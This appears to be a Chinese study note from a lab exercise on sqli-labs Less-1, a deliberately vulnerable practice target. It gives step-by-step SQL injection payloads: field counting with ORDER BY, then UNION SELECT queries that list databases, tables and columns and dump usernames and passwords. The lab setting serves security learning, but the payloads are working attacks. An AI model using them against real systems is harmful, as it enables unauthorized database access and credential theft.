第三章将的就是靶场的实验：靶场＋工具＋手工
0x01 sqli-Less1
1.判断SQL注入
手工判断是否存在注入点（加 ’ ，出现错误提示则可能存在注入漏洞）→判断类型（数字型or字符型）
（搜索型注入：搜索页面搜索：% 、‘ % & 等特殊字符，如果存在则可能存在漏洞）
2.存在漏洞，且为字符型
3.猜字段数
http://192.168.5.128/sqli/Less-1/?id=1' order by 3--+ #不报错 字段数为3
4.联合查询字段数
http://192.168.5.128/sqli/Less-1/?id=1' and 1=2 union select 1,2,3--+
5.查看所有数据库名
http://192.168.5.128/sqli/Less-1/ ?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
6. 查询security内所有表名
http://192.168.5.128/sqli/Less-1/ ?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
7.爆破security里面的user表中的列名，然后爆出用户名和密码
union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
http://192.168.5.128/sqli/Less-1/ ?id=1' and 1=2 union select 1,(select group_concat(password) from security.users),(select group_concat(username)from security.users)--+
